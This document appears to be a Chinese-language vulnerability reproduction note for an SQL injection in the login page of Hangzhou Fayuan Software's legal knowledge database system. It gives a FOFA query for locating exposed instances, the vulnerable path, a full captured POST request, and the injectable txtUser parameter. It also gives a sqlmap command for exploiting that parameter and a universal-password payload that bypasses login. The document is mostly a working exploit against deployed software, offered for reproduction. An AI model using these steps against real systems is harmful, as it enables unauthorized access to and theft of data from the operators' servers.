杭州法源软件法律知识数据库系统 SQL注入漏洞

漏洞描述

杭州法源软件开发有限公司开发的实践教学平台系统下的法律知识数据库系统登录前台存在通用SQLi漏洞

漏洞影响

杭州法源软件法律知识数据库系统

FOFA

icon_hash="2018105215" || title="实践教学平台 - 杭州法源软件开发有限公司"

漏洞复现

进入页面下

出现漏洞的Url为

http://xxxxxxx/JusRepos/ui/login.aspx

抓取登录的请求包

POST /JusRepos/ui/login.aspx HTTP/1.1
Host: xxx.xxx.xxx.xxxx
Content-Length: 362
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: ASP.NET_SessionId=0upclbweiokwx4qnkpfzumir
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4NTUyMzg5NDNkZBLjR6E85W4xvkheqS5g7gOsMdeop3Xfh1BwnTSCbV7z&__VIEWSTATEGENERATOR=E3BBEDB7&__EVENTVALIDATION=%2FwEdAATFHpXckaPEvZEyN%2BNhIQGTDFTzKcXJqLg%2BOeJ6QAEa2jPSlu16Yx4QbiDU%2BdddK1MwoKxxc3z27YmfD4jI4gVsV9%2FpN02jZyPKj4JeL7G5UVenPtL%2FK1en7XvhZG5vyHk%3D&txtUser=admin&txtPwd=123&btnSub=%E7%99%BB%E5%BD%95

其中注入的参数为 POST数据中的 txtUser 参数, 保存为文件使用 Sqlmap跑一下

sqlmap -r sql.txt -p txtUser

同时还存在着万能密码可以直接登录后台

user: 1' or 1=1 --
pass: neutron

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POST /JusRepos/ui/login.aspx HTTP/1.1 Host: xxx.xxx.xxx.xxxx Content-Length: 362 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: ASP.NET_SessionId=0upclbweiokwx4qnkpfzumir x-forwarded-for: 127.0.0.1 x-originating-ip: 127.0.0.1 x-remote-ip: 127.0.0.1 x-remote-addr: 127.0.0.1 Connection: close __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4NTUyMzg5NDNkZBLjR6E85W4xvkheqS5g7gOsMdeop3Xfh1BwnTSCbV7z&__VIEWSTATEGENERATOR=E3BBEDB7&__EVENTVALIDATION=%2FwEdAATFHpXckaPEvZEyN%2BNhIQGTDFTzKcXJqLg%2BOeJ6QAEa2jPSlu16Yx4QbiDU%2BdddK1MwoKxxc3z27YmfD4jI4gVsV9%2FpN02jZyPKj4JeL7G5UVenPtL%2FK1en7XvhZG5vyHk%3D&txtUser=admin&txtPwd=123&btnSub=%E7%99%BB%E5%BD%95